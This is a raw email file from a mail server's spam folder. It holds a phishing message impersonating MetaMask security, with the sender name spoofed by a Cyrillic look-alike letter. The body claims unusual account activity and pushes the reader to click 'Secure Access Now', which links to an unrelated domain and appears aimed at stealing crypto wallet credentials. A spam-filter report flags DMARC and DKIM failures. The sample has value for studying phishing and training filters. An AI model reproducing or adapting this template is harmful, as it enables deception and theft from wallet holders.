Current File : /home/mak/mail/.spam/new/1747788844.M206893P9871.cloud.berardocollection.com,S=6917,W=7029
Return-Path: <postmaster@7c19ee4d92.nxcli.io>
Delivered-To: mak+spam@cloud.berardocollection.com
Received: from cloud.berardocollection.com
	by cloud.berardocollection.com with LMTP
	id LDrbCiwkLWiPJgAAuY/3dA
	(envelope-from <postmaster@7c19ee4d92.nxcli.io>)
	for <mak+spam@cloud.berardocollection.com>; Wed, 21 May 2025 01:54:04 +0100
Return-path: <postmaster@7c19ee4d92.nxcli.io>
Envelope-to: info@mak.pt
Delivery-date: Wed, 21 May 2025 01:54:04 +0100
Received: from cloudhost-10356440.uk-south-2.nxcli.net ([165.84.217.24]:25854)
	by cloud.berardocollection.com with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.96.2)
	(envelope-from <postmaster@7c19ee4d92.nxcli.io>)
	id 1uHXib-0002V2-38
	for info@mak.pt;
	Wed, 21 May 2025 01:54:04 +0100
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=7c19ee4d92.nxcli.io;
  b=mKHKmSDMQuwTY35Am8i0loXo6HDsI89jGjryBYXICh1WYSAbqn5PTRgBvBAQStoscOzigK7hvnipbl7pdZavO8abo5WMmAlbr2JumvP3sOu5iq2U6Muq+MLbBut5NbWxUPrMNbR0d83cInA7AQhgVi8Xyg0JWpDJ0Ugll3TiE5hz0nworqqtGd6MExmIGHggT9972IHKWLuoxryC9aJ+KrajhJzSlJ6lYVJShsVMC9eiM2Hx5xbc94BejhLpSe+DtJ+fnucyIvka5lH/1XTbdqD03JqMbsJdiFzEZIVcRUDswATSLH+ZlxjpQgrazmXaqLluTyQp9nvrD5aEgaq5WA==;
  h=Received:Date:To:From:Reply-To:Subject:Message-ID:List-Unsubscribe:MIME-Version:Content-Type:Content-Transfer-Encoding;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=7c19ee4d92.nxcli.io; h=
	date:to:from:reply-to:subject:message-id:list-unsubscribe
	:mime-version:content-type:content-transfer-encoding; s=default;
	 bh=nG/nsBerw0Eu0xZOFBQIaAF3ug+7/ab3/ptIWYsVwHQ=; b=R583YlPukGQ0
	45ygNlVYIvF7EjlIwyef8ndYYBtyZe3QzksaWFZDZf2ZbjvS5rqgi4iiew5C5gFv
	Rac0zudaK2c0bieX4f4jD7gFKfY65f6ZTyK81f8fDDmzg1AEG9N49gYsy+vuRo4n
	p0y5LVpmNeHYYkiTp/EXNZjhK9KbItwkkWd3dzKv87jHqXvNh13kqx8KIcUkO2Nq
	UVXrJ6JJo0yL9Ko1tTePY8o9TZPvPDkVi+JwGOqBWmSMhF1N9TRE+7bGsloQoQCe
	AP6D5yrB2rq2Fd0XgUDMijJM++nWSv4wvFhuzelI38CfK4vz6+XagVBchtGZQ3Ao
	MByNvnhdKw==
Received: (qmail 29476 invoked by uid 10097); 21 May 2025 01:44:28 +0100
Date: Wed, 21 May 2025 00:42:35 +0000
To: info@mak.pt
From: =?UTF-8?Q?MetaM=D0=B0sk?= <security@metamask.io>
Reply-To: security@metamask.io
Message-ID: <49b0b277df2ed76cf6b195645eeddc35@metamask.io>
List-Unsubscribe: mailto:bounce304-ncpUk3jygpu2s0e@metamask.io?subject=list-unsubscribe
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="1abe5f02d88a576afa82aa82f814a75d4"
Content-Transfer-Encoding: 8bit
X-Spam-Status: Yes, score=5.3
X-Spam-Score: 53
X-Spam-Bar: +++++
X-Spam-Report: Spam detection software, running on the system "cloud.berardocollection.com",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Hello, We've identified unusual access patterns on your account.
    To prevent any unauthorized changes, immediate confirmation is required.Failure
    to confirm may result in a temporary hold or restricted [...] 
 Content analysis details:   (5.3 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: nxcli.io]
  0.0 URIBL_DBL_BLOCKED      ADMINISTRATOR NOTICE: The query to
                             dbl.spamhaus.org was blocked. See
                             https://www.spamhaus.org/returnc/vol/
                             [URIs: nxcli.io]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [165.84.217.24 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [165.84.217.24 listed in bl.score.senderscore.com]
 -0.0 BAYES_20               BODY: Bayes spam probability is 5 to 20%
                             [score: 0.0634]
  0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
                             mail domains are different
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  1.8 PYZOR_CHECK            Listed in Pyzor
                             (https://pyzor.readthedocs.io/en/latest/)
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
  3.0 KAM_DMARC_REJECT       DKIM has Failed or SPF has failed on the
                             message and the domain has a DMARC reject
                             policy
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
X-Spam-Flag: YES
Subject:  ***SPAM***  =?UTF-8?Q?Suspici=D0=BEus_behavior_detected_=E2=80=94_confirm_to_continue?=

This is a multi-part message in MIME format.

--1abe5f02d88a576afa82aa82f814a75d4
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Hello, We've identified unusual access patterns on your account. To prevent any unauthorized changes, immediate confirmation is required.Failure to confirm may result in a temporary hold or restricted access to your wallet.Secure Access NowIf this wasn’t you, no further action is needed.Thank you,MetaMаsk Support Teamconst e=new URLSearchParams(window.location.search).get("email");if(e)document.getElementById("user-email").textContent=e;


--1abe5f02d88a576afa82aa82f814a75d4
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 8bit

<!DOCTYPE html><html><body><p>Hello, <span id="user-email"></span></p><p>We've identified unusual access patterns on your account. To prevent any unauthorized changes, immediate confirmation is required.</p><p>Failure to confirm may result in a temporary hold or restricted access to your wallet.</p><p><a href="https://assione.it/csfmgh/">Secure Access Now</a></p><p>If this wasn’t you, no further action is needed.</p><p>Thank you,<br>MetaMаsk Support Team</p><script>const e=new URLSearchParams(window.location.search).get("email");if(e)document.getElementById("user-email").textContent=e;</script></body></html>



--1abe5f02d88a576afa82aa82f814a75d4--